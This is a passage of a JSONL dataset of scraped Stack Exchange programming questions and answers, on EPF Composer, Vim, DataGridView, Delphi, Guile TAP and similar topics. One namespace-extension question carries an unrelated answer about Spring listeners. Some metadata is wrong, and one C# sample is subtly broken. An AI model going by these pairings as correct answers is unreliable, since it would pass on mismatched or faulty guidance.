{"id": "hf_7c01f554eaeb", "question": "<p>I'm making a method combining Scrum with the OpenUP lifecycle and deliverables. I also want to keep the OpenUP disciplines apart from \"Project Management\".  I can \"hide\" it so that it's not immediately obvious in my generated method site. But when you then navigate to the \"Risk List\" artefact for example the PM is still seen as contributing, and if you click on the link, you get taken to the PM Discipline page.</p>\n\n<p>How can I remove it completely from my method without deleting it from the OpenUP library which I'm consuming?</p>\n", "question_body": "", "answer": "I've never used EPF Composer.\nI did a little bit of google searches and I understand what you are looking for can be done through Configurations (select OpenUP in your Library view) and published View definitions.\nSee slide 83 and 84 of this PPT document. You should be able to take it from there.\nAn Introduction to the Eclipse Process Framework\n.\nIn case the link does not work, I searched for \"EPF Composer\" \"Standard categories\" on google and the document is at the bottom of the first results page.\nGood luck.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:31.189591"}
{"id": "hf_0a75f66b799c", "question": "<p>I'm not sure if many people know about this text-editor?</p>\n\n<p>jEdit was kinda big in 2004, but now, Notepad++ seems to have taken the lead(on Windows)\nMany of the plugins haven't been updated since 2003 and the overal layout and usage is confusing...</p>\n\n<p>I'm sure jEdit has many nifty features, but I'll be damned if I can find out where to find them and how to use them. Reading that manual is a fulltime job on it's own.</p>\n", "question_body": "", "answer": "I had to use during my vocational education for XML and XSLT. It had a lot of bugs and didn't work always. I couldn't get to like it, but if I had to test some XSLT I'd give it another shot. I found Notepad++ and I am more than happy with it for what I need.\nTo your question: Did you take a look at\njEdit's plugin list\n? There are some plugins released 2008 and the latest version was released on 8th August 2008.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:31.215041"}
{"id": "hf_f772aefa6b3a", "question": "<p>Given a table of votes (users vote for a choice, and must supply an email address):</p>\n\n<pre><code>votes\n--\nid: int\nchoice: int\ntimestamp: timestamp\nip: varchar\nemail: varchar\n</code></pre>\n\n<p>What's the best way to count \"unique\" votes (a user being a unique combination of email + ip) given the constraint they may only vote <em>twice</em> per hour?</p>\n\n<p>It's possible to count the number of hours between first and last vote and determine the maximum number of allowed votes for that timeframe, but that allows users to compress all their votes into say, a single hour-long window, and still have them counted.</p>\n\n<p>I realize anonymous online voting is inherently flawed, but I'm not sure how to do this with SQL. Should I be using an external script or whatever instead? (For each choice, for each email+ip pair, get a vote, calculate the next +1h timestamp, count/discard/tally votes, move on to the next hour, etc...)</p>\n", "question_body": "", "answer": "Something like\n```\n```\nselect email, ip, count(choice)\nfrom votes\ngroup by email, ip, datepart(hour, timestamp)\n```\n```\nIf I understand correctly", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:31.276976"}
{"id": "hf_bc804824c55f", "question": "<p>From question <em><a href=\"https://stackoverflow.com/questions/71323/how-to-replace-a-character-for-a-newline-in-vim\">How to replace a character for a newline in Vim?</a></em>. You have to use \\r when replacing text for a newline, like this</p>\n\n<pre><code>:%s/%/\\r/g\n</code></pre>\n\n<p>But when replacing end of lines and newlines for a character, you can do it like:</p>\n\n<pre><code>:%s/\\n/%/g \n</code></pre>\n\n<p>What section of the manual documents these behaviors, and what's the reasoning behind them?</p>\n", "question_body": "", "answer": "```\n:help NL-used-for-Nul\n```\nTechnical detail:\n```\n<Nul>\n```\ncharacters in the file are stored as\n```\n<NL>\n```\nin memory. In the display\n  they are shown as \"\n```\n^@\n```\n\".  The translation is done when reading and writing\n  files.  To match a\n```\n<Nul>\n```\nwith a search pattern you can just enter\nCTRL-@\nor\n  \"\nCTRL-V\n000\".  This is probably just what you expect.  Internally the\n  character is replaced with a\n```\n<NL>\n```\nin the search pattern.  What is unusual is\n  that typing\nCTRL-V\nCTRL-J\nalso inserts a\n```\n<NL>\n```\n, thus also searches for a\n```\n<Nul>\n```\nin the file.  {Vi cannot handle\n```\n<Nul>\n```\ncharacters in the file at all}", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:31.315794"}
{"id": "hf_b7a4ecf6b352", "question": "<p>I want to disable the selection of certain rows in a datagridview.</p>\n\n<p>It must be possible to remove the select property for one or more datagridview rows in a datagridview shown in a winform. The goal is that the user can't select certain rows. (depending on a condition)</p>\n\n<p>Thankx,</p>\n", "question_body": "", "answer": "If SelectionMode is FullRowSelect, then you'll need to override SetSelectedRowCore for that DataGridView, and not call the base SetSelectedRowCore for rows you don't want selected.\nIf SelectionMode is not FullRowSelect, you'll want to additionally override SetSelectedCellCore (and not call the base SetSelectedCellCore for rows you don't want selected), as SetSelectedRowCore will only kick in if you click the row header and not an individual cell.\nHere's an example:\n```\n```\npublic class MyDataGridView : DataGridView\n{\n    protected override void SetSelectedRowCore(int rowIndex, bool selected)\n    {\n        if (selected && WantRowSelection(rowIndex))\n        {\n            base.SetSelectedRowCore(rowIndex, selected);\n        }\n     }\n\n     protected virtual void SetSelectedCellCore(int columnIndex, int rowIndex, bool selected)\n     {\n         if (selected && WantRowSelection(rowIndex))\n         {\n            base.SetSelectedRowCore(rowIndex, selected);\n          }\n     }\n\n     bool WantRowSelection(int rowIndex)\n     {\n        //return true if you want the row to be selectable, false otherwise\n     }\n}\n```\n```\nIf you're using WinForms, crack open your designer.cs for the relevant form, and change the declaration of your DataGridView instance to use this new class instead of DataGridView, and also replace the this.blahblahblah = new System.Windows.Forms.DataGridView() to point to the new class.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:31.352863"}
{"id": "hf_f13cda1c8e46", "question": "<p>I have a UserControl in my Asp.net project that has a public property. I do not want this property to show up in the Visual Studio Property Window when a user highlights an instance of the UserControl in the IDE. What attribute (or other method) should I use to prevent it from showing up?</p>\n\n<pre><code>class MyControl : System.Web.UI.UserControl {\n  // Attribute to prevent property from showing in VS Property Window?\n  public bool SampleProperty { get; set; }\n\n  // other stuff\n}\n</code></pre>\n", "question_body": "", "answer": "Use the following attribute ...\n```\n```\nusing System.ComponentModel;\n\n[Browsable(false)]\npublic bool SampleProperty { get; set; }\n```\n```\nIn VB.net, this\nwill be\n:\n```\n```\n<System.ComponentModel.Browsable(False)>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:31.388948"}
{"id": "hf_6fe137eaf486", "question": "<p>I have created a namespace extension that is rooted under Desktop. The main purpose of the extension is to provide a virtual list of ZIP files that represent a list of configurable directories. When the user clicks one of the those items the contents of the related directory are zipped in place and the resulting ZIP file is stored in a cache folder.</p>\n\n<p>All this works well aside a minor issue. If we go to Windows Explorer, open the extension and double click an item the opened file is the one from the cache. [CORRECT]</p>\n\n<p>If on the other hand we open it by an Open Dialog the opened file is one from a Temporary Internet files directory. [INCORRECT]</p>\n\n<p>What do I have to change for the Open Dialog (when used for example trough notepad.exe) to open the file from the cache folder and not from Temporary Internet files. I have tried to send allways the qualified file name in IShellFolder::GetDisplayNameOf but without any luck.</p>\n", "question_body": "", "answer": "What would be wrong with doing something like the following:\nDefining a 'Maintainer' interface with the addListener(Listener, Enum) method.\nCreate a DefaultMaintainer class (as above) which implements Maintainer.\nThen, in each Listener class, 'inject' the Maintainer interface (constructor injection might be a good choice). The listener can then register itself with the Maintainer.\nother than that, I'm not 100% clear on exactly what your difficulty is with Spring at the moment! :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:31.436825"}
{"id": "hf_c4b55c5f1d5a", "question": "<p>The <a href=\"http://win32.perl.org/\" rel=\"noreferrer\">win32.perl.org</a> web site provides references to several Perl distributions for MS Windows.</p>\n\n<p>For a long time I have been using ActivePerl from \n<a href=\"http://www.activestate.com/\" rel=\"noreferrer\">ActiveState</a> but recently I switched to \n<a href=\"http://strawberryperl.com/\" rel=\"noreferrer\">Strawberry Perl</a>.</p>\n\n<p>IMHO The only advantage that Active Perl still has over Strawberry Perl is the fact that it comes with Perl Tk which means its easy to install \n<a href=\"http://search.cpan.org/dist/Devel-ptkdb/\" rel=\"noreferrer\">Devel::ptkdb</a> the graphical debugger. Other than that, I think Strawberry Perl has all the advantages.</p>\n", "question_body": "", "answer": "Strawberry Perl\nis just getting better and better.  One problem I've repeatedly had with ActiveState is that my modules sometimes fail to install because I need an upgrade to a core module, but they won't allow that.  Thus, everybody who\ndoesn't\nuse Windows can use my code, but they can't do that with ActiveState's Perl.\nActiveState also has a very dodgy build system which often fails to report exactly why a module failed to build.  I got so tired of emailing and asking for this information that I eventually gave up.  I want my code to run on Windows, but if ActiveState doesn't provide me with that information and doesn't give me any option for upgrading core modules, I just can't use it.  Some of my modules have NO build failures on any operating system -- except those with ActiveState Perl.  Support Strawberry Perl and just don't worry about ActiveState.\nIf ActiveState has fixed their build system and their 'no upgrade to core modules' policy, it's worth revisiting.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:31.513139"}
{"id": "hf_060aacaebfdc", "question": "<p>I have just found a static nested interface in our code-base.</p>\n\n<pre><code>class Foo {\n    public static interface Bar {\n        /* snip */\n    }\n    /* snip */\n}\n</code></pre>\n\n<p>I have never seen this before. The original developer is out of reach. Therefore I have to ask SO:</p>\n\n<p>What are the semantics behind a static interface? What would change, if I remove the <code>static</code>? Why would anyone do this?</p>\n", "question_body": "", "answer": "An inner interface has to be static in order to be accessed. The interface isn't associated with instances of the class, but with the class itself, so it would be accessed with\n```\nFoo.Bar\n```\n, like so:\n```\n```\npublic class Baz implements Foo.Bar {\n   ...\n}\n```\n```\nIn most ways, this isn't different from a static inner class.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:31.702718"}
{"id": "hf_605424b4b127", "question": "<p>I have an ASP.Net 2.0 application in which the Session_Start event is not firing in my Global.asax file. Can anyone tell why this is happening and how I can get it working?</p>\n\n<p>The application worked fine on my Windows XP development machine, but stopped working when deployed to the server (Win Server 2003/IIS 6/ASP.Net 2.0). </p>\n\n<p>I'm not sure if this is relevant, but the server also hosts a SharePoint installation (WSS 3.0) which I know does change some settings at the default web site level.</p>\n", "question_body": "", "answer": "Are you sure the website in IIS is set to use ASP.NET 2.0 rather than 1.1?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:31.750578"}
{"id": "hf_32c347404d2b", "question": "<p>Is there an api to bring the vista side bar to the front (Win+Space) programatically and to do the reverse (send it to the back ground).</p>\n", "question_body": "", "answer": "Probably using SetWindowPos you can change it to be placed the top / bottom of the z-order or even as the top-most window. You would need to find the handle to the sidebar using FindWindow or an application like WinSpy.\nBut after that something like.\nSets the window on top, but not top most.\n```\n```\nSetWindowPos(sidebarHandle, HWND_TOP, 0, 0, 0, 0, SWP_NOMOVE | SWP_NORESIZE);\n```\n```\nSets the window at the bottom.\n```\n```\nSetWindowPos(sidebarHandle, HWND_BOTTOM, 0, 0, 0, 0, SWP_NOMOVE | SWP_NORESIZE);\n```\n```\nThis is my best guess on achieving what you asked, hopefully it helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:31.800125"}
{"id": "hf_1dbc153990df", "question": "<p>I've been using OpenGL for years, but after trying to use D3D for the first time, I wasted a significant amount of time trying figure out how to make my scene lights stay fixed in the world rather than fixed on my objects.</p>\n\n<p>In OpenGL light positions get transformed just like everything else with the MODELVIEW matrix, so to get lights fixed in space, you set up your MODELVIEW the way you want for the lights, and call glLightPosition then set it up for your geometry and make geometry calls.   In D3D that doesn't help.</p>\n\n<p>(Comment -- I eventually figured out the answer to this one, but I couldn't find anything helpful on the web or in the MSDN.  It would have saved me a few hours of head scratching if I could have found this answer then.)</p>\n", "question_body": "", "answer": "The answer I discovered eventually was that while OpenGL only has its one amalgamated\n```\nMODELVIEW\n```\nmatrix, in D3D the \"world\" and \"view\" transforms are kept separate, and placing lights seems to be the major reason for this.  So the answer is you use\n```\nD3DTS_VIEW\n```\nto set up matrices that should apply to your lights, and\n```\nD3DTS_WORLD\n```\nto set up matrices that apply to the placement of your geometry in the world.\nSo actually the D3D system kinda makes more sense than the OpenGL way.  It allows you to specify your light positions whenever and wherever the heck you feel like it once and for all, without having to constantly reposition them so that they get transformed by your  current \"view\" transform.  OpenGL has to work that way because it simply doesn't know what you think your \"view\" is vs your \"model\".  It's all just a modelview to GL.\n(Comment - apologies if I'm not supposed to answer my own questions here, but this was a real question that I had a few weeks ago and thought it was worth posting here to help others making the shift from OpenGL to D3D.  Basic overviews of the D3D lighting and rendering pipeline seem hard to come by.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:31.837178"}
{"id": "hf_c912ac556ddf", "question": "<p>How effective is merging when folders and projects have been renamed in your solution?</p>\n", "question_body": "", "answer": "In my experience TFS can track renames, as long as you do all the renaming within the SourceControlExplorer (TFS).\nThe problems tend to occur when you have other people making changes to the original files while someone else is doing massive renames/moves, while someone else is editing the renamed version.\nWhere possible I would say that if you are doing large scale renaming and moving it is worth informing team mates, and if possible get them to hold off making changes until you've checked yours in.\nAs with all branch/merge issues the problem is greatly reduced by checking in and merging little and often.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:31.862333"}
{"id": "hf_32d07e6e9666", "question": "<p>in our application we have a Java applet running inside a .NET browser control. It is a know issue from Sun that running an applet this way may crash the control.</p>\n\n<p>Has anyone come across the same problem and solved it?</p>\n\n<p>Atm we are running the applet in a Webbrowser but we need to run it in a browser control.</p>\n\n<p>Thx for any help.</p>\n", "question_body": "", "answer": "If you wrote the applet and have source, then you could try to migrate the Java Applet to a J# Browser control and stuff that in your .net application.\n```\n```\nHere is a link - http://msdn.microsoft.com/en-us/library/aa290083(VS.71).aspx\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:31.887470"}
{"id": "hf_f905af463cb2", "question": "<p>In Delphi, I want to be able to create an private object that's associated with a class, and access it from all instances of that class.  In Java, I'd use:</p>\n\n<pre><code>public class MyObject {\n    private static final MySharedObject mySharedObjectInstance = new MySharedObject();\n}\n</code></pre>\n\n<p>Or, if MySharedObject needed more complicated initialization, in Java I could instantiate and initialize it in a static initializer block.</p>\n\n<p>(You might have guessed...  I know my Java but I'm rather new to Delphi...)</p>\n\n<p>Anyway, I don't want to instantiate a new MySharedObject each time I create an instance of MyObject, but I do want a MySharedObject to be accessible from each instance of MyObject.  (It's actually logging that has spurred me to try to figure this out - I'm using Log4D and I want to store a TLogLogger as a class variable for each class that has logging functionality.)</p>\n\n<p>What's the neatest way to do something like this in Delphi?</p>\n", "question_body": "", "answer": "Before version 7, Delphi didn't have static variables, you'd have to use a global variable.\nTo make it as private as possible, put it in the\n```\nimplementation\n```\nsection of your unit.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:31.949589"}
{"id": "hf_6467136f6795", "question": "<p>I have to read data from some files and insert the data into different tables in a database. Is Unix shell script powerful enough to do the job?</p>\n\n<p>Is it easy to do the job in shell script or should I go about doing this in Java?</p>\n", "question_body": "", "answer": "Can't test it right now, but something like:\n```\n```\necho \"INSERT INTO foo (b,a,r) VALUES (1,2,3);\" | \n    mysql -u user -psecret -h host database\n```\n```\nin a shell script should work. Don't know about getting Data out of it though", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:31.974676"}
{"id": "hf_b22d7bcaf2a0", "question": "<p>The problem: I have a class which contains a template method <code>execute</code> which calls another method <code>_execute</code>. Subclasses are supposed to overwrite <code>_execute</code> to implement some specific functionality. This functionality should be documented in the docstring of <code>_execute</code>. \nAdvanced users can create their own subclasses to extend the library. However, another user dealing with such a subclass should only use <code>execute</code>, so he won't see the correct docstring if he uses <code>help(execute)</code>.</p>\n\n<p>Therefore it would be nice to modify the base class in such a way that in a subclass the docstring of <code>execute</code> is automatically replaced with that of <code>_execute</code>. Any ideas how this might be done?</p>\n\n<p>I was thinking of metaclasses to do this, to make this completely transparent to the user.</p>\n", "question_body": "", "answer": "Well the doc-string is stored in\n```\n__doc__\n```\nso it wouldn't be too hard to re-assign it based on the doc-string of\n```\n_execute\n```\nafter the fact.\nBasically:\n```\n```\n```\nclass MyClass(object):\n    def execute(self):\n        '''original doc-string'''\n        self._execute()\n\nclass SubClass(MyClass):\n    def _execute(self):\n        '''sub-class doc-string'''\n        pass\n\n    # re-assign doc-string of execute\n    def execute(self,*args,**kw):\n        return MyClass.execute(*args,**kw)\n    execute.__doc__=_execute.__doc__\n```\nExecute has to be re-declared to that the doc string gets attached to the version of execute for the\n```\nSubClass\n```\nand not for\n```\nMyClass\n```\n(which would otherwise interfere with other sub-classes).\nThat's not a very tidy way of doing it, but from the POV of the user of a library it should give the desired result.  You could then wrap this up in a meta-class to make it easier for people who are sub-classing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:32.060980"}
{"id": "hf_cc96fc1f1e4a", "question": "<p>Does anyone know if the Infragistics UltraGrid control provides functionality similar to that of DataGridView.HitTestInfo?</p>\n", "question_body": "", "answer": "There's a\n```\n.MousePosition\n```\nproperty which returns\n```\nSystem.Drawing.Point\n```\nand \"Gets the position of the mouse cursor in screen coordinates\" but I'm using an older version of their UltraWinGrid (2003).\nThey have a\nfree trial download\n, so you could see if they've added it to their latest and greatest  :o)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:32.096523"}
{"id": "hf_e490a77483ce", "question": "<p>Anyone know uf there's a dll/runner anywhere that returns TAP output from an NUnit test suite?</p>\n", "question_body": "", "answer": "Seems unlikely to me, since there is an impedance mismatch. TAP has no concept for what NUnit calls a test, and what TAP calls a test usually corresponds to an NUnit assertion, but not precisely. So I’m not sure how the thing you’re looking for would work at all. (But maybe a heuristic could work well enough.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:32.131020"}
{"id": "hf_d2744087e8dd", "question": "<p>I'm using an Xml field in my Sql Server database table. I'm trying to search a word using the XQuery <strong>contains</strong> method but it seems to search <strong>only</strong> in case sensitive mode. The lower method isn't implemented on Sql Server XQuery implementation also.\n¿Is there a simple solution to this problem?</p>\n", "question_body": "", "answer": "First\nlink from google points to MSDN page:\ncontains Function (XQuery)\nIn order to get case-insensitive\n  comparisons, the\nupper-case\nor\n  lower-case functions can be used.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:32.152994"}
{"id": "hf_50ee44cf1fdf", "question": "<p>I'm missing the boat on something here, kids.  This keeps rearing its head and I don't know what's going on with it, so I hope my homeys here can help.</p>\n\n<p>When working in Silverlight, when I create bindings in my c# code, they never hold up when the application is running.  The declarative bindings from my xaml seem ok, but I'm doing something wrong when I create my bindings in C#.  I'm hoping that there is something blindingly obvious I'm missing.  Here's a typical binding that gets crushed:</p>\n\n<pre><code>TextBlock tb = new TextBlock();\nBinding b = new Binding(\"FontSize\");\nb.Source = this;\ntb.SetBinding(TextBlock.FontSizeProperty, b);\n</code></pre>\n", "question_body": "", "answer": "I've just tried the exact code you just posted and it worked fine, with some changes. I believe the problem is the element you are using for the SetBinding call is not the textblock you want to bind. It should be:\n```\n```\nTextBlock tb = new TextBlock();\nBinding b = new Binding(\"FontSize\");\nb.Source = this;\ntb.SetBinding(TextBlock.FontSizeProperty, b);\n```\n```\nMake sure you also have a FontSize public property of type double on \"this\". If \"this\" is a user control, I would recommend renaming the property so you don't hide the inherited member.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:32.241305"}
{"id": "hf_dc29c5971dad", "question": "<p>I am using <code>&lt;input type=\"file\" id=\"fileUpload\" runat=\"server\"&gt;</code> to upload a file in an ASP.NET application. I would like to limit the file type of the upload (example: limit to .xls or .xlsx file extensions). </p>\n\n<p>Both JavaScript or server-side validation are OK (as long as the server side validation would take place before the files are being uploaded - there could be some very large files uploaded, so any validation needs to take place before the actual files are uploaded).</p>\n", "question_body": "", "answer": "Well - you won't be able to do it server-side on post-back as the file will get submitted (uploaded) during the post-back.\nI think you may be able to do it on the client using JavaScript.  Personally, I use a third party component called\nradUpload by Telerik\n.  It has a good client-side and server-side API, and it provides a progress bar for big file uploads.\nI'm sure there are open source solutions available, too.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:32.269248"}
{"id": "hf_74880f24f650", "question": "<p>I find I can do more with NHibernate, and even Castle than with the Linq to Entities, or linq to SQL.</p>\n\n<p>Am I crazy?</p>\n", "question_body": "", "answer": "No you're not crazy. nHibernate is a full OR Mapper, Linq to SQL and Linq to Entities don't implement everything you'd expect from an OR mapper and targeted at a slightly different group of developers.\nBut don't let that put you off linq though. Linq is still a pretty good idea.. Try Linq to nHibernate :-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:32.291796"}
{"id": "hf_9557b098b29a", "question": "<p>Given the following example, why do I have to explicitly use the statement <code>b-&gt;A::DoSomething()</code> rather than just <code>b-&gt;DoSomething()</code>?</p>\n\n<p>Shouldn't the compiler's overload resolution figure out which method I'm talking about?</p>\n\n<p>I'm using Microsoft VS 2005. (Note: using virtual doesn't help in this case.)</p>\n\n<pre><code>class A\n{\n  public:\n    int DoSomething() {return 0;};\n};\n\nclass B : public A\n{\n  public:\n    int DoSomething(int x) {return 1;};\n};\n\nint main()\n{\n  B* b = new B();\n  b-&gt;A::DoSomething();    //Why this?\n  //b-&gt;DoSomething();    //Why not this? (Gives compiler error.)\n  delete b;\n  return 0;\n}\n</code></pre>\n", "question_body": "", "answer": "The two “overloads” aren't in the same scope. By default, the compiler only considers the smallest possible name scope until it finds a name match. Argument matching is done\nafterwards\n. In your case this means that the compiler sees\n```\nB::DoSomething\n```\n. It then tries to match the argument list, which fails.\nOne solution would be to pull down the overload from\n```\nA\n```\ninto\n```\nB\n```\n's scope:\n```\n```\nclass B : public A {\npublic:\n    using A::DoSomething;\n    // …\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:32.370191"}
{"id": "hf_05e1a682d57d", "question": "<p>What are some important practices to follow when creating a .NET assembly that is going to be embedded to SQL Server 2005?</p>\n\n<p>I am brand new to this, and I've found that there are significant method attributes like:</p>\n\n<pre><code>[SqlFunction(FillRowMethodName = \"FillRow\", TableDefinition = \"letter nchar(1)\")]\n</code></pre>\n\n<p>I'm also looking for common pitfalls to avoid, etc.</p>\n", "question_body": "", "answer": "Some that I remember:\nKeep its usage to a minimum, only use it when T-SQL proved too complex.\nAvoid pointers/cursors at all costs because a for loop is so easily abusable in CLR context.\nOnly use the SQL-Server native data types unless totally necessary.\nCan't remember where I've found the information, but those are some that I do remember.\nBasically, only use it when declarative T-SQL is too complex or is impossible to do (such as registry editing etc.).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:32.393701"}
{"id": "hf_7026a61386cb", "question": "<p>I want to create cursor rsrc files on the Mac from png files. The application that uses the cursors requires it to be in a .rsrc format and I cannot change that. Does anybody know of any way I can create the cursor .rsrc files from png images.</p>\n", "question_body": "", "answer": "Its been a long time since I've thought about MacOS resource forks. Are you using the classic MacOS (i.e. before MacOS X)?\nAs I recall,\nResEdit\nwas the application most often used to manipulate the resource fork of a classic Mac application. I know it can edit cursor resources, but I don't recall if it can read PNG files. You may need to convert the files to GIF.\nResEdit is a Classic MacOS application. MacOS X prior to 10.5 could run Classic apps in emulation, but in 10.5 this support has been removed. You'd need to find a system either running the classic MacOS directly, or running 10.4 with Classic installed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:32.443546"}
{"id": "hf_7de23bb0d39c", "question": "<p>I would like to have a Guile script, which implements functions, which output test result messages according to the TAP protocol.</p>\n", "question_body": "", "answer": "The following script, to be named guiletap.scm, implements the frequently-needed functions for using the TAP protocol when running tests.\n```\n; Define functions for running Guile-written tests under the TAP protocol.\n; Copyright © 2008 by Omer Zak\n; Released under the GNU LGPL 2.1 or (at your option) any later version.\n;;;\n;;; To invoke it:\n;;; (use-modules (guiletap))\n;;;\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n(define-module (guiletap))\n(export plan)\n(export ok)\n(export bail_out)\n(export diag)\n(export is_ok)\n\n(use-modules (ice-9 format))\n\n; n is the number of tests.\n(define plan\n  (lambda (n) (display (format \"1..~d~%\" n))))\n\n; n -        test number\n; testdesc - test descriptor\n; res -      result which is #f at failure, other at success.\n(define ok\n  (lambda (n testdesc res)\n    (if (not res)(display \"not \"))\n    (display (format \"ok ~d - ~a~%\" n testdesc))))\n\n; testdesc - test descriptor\n(define bail_out\n  (lambda (testdesc)\n    (display (format \"Bail out! - ~a~%\" testdesc))))\n\n; diagmsg - diagnostic message\n(define diag\n  (lambda (diagmsg)\n    (display (format \"# ~a~%\" diagmsg))))\n\n; n -        test number\n; testdesc - test descriptor\n; expres -   expected test result\n; actres -   actual test result\n(define is_ok\n  (lambda (n testdesc expres actres)\n    (ok n testdesc (equal? expres actres))))\n\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n; !!! TODO:\n; !!! To be implemented also:\n; plan_no_plan\n; plan_skip_all [REASON]\n;\n; is RESULT EXPECTED [NAME]\n; isnt RESULT EXPECTED [NAME]\n; like RESULT PATTERN [NAME]\n; unlike RESULT PATTERN [NAME]\n; pass [NAME]\n; fail [NAME]\n;\n; skip CONDITION 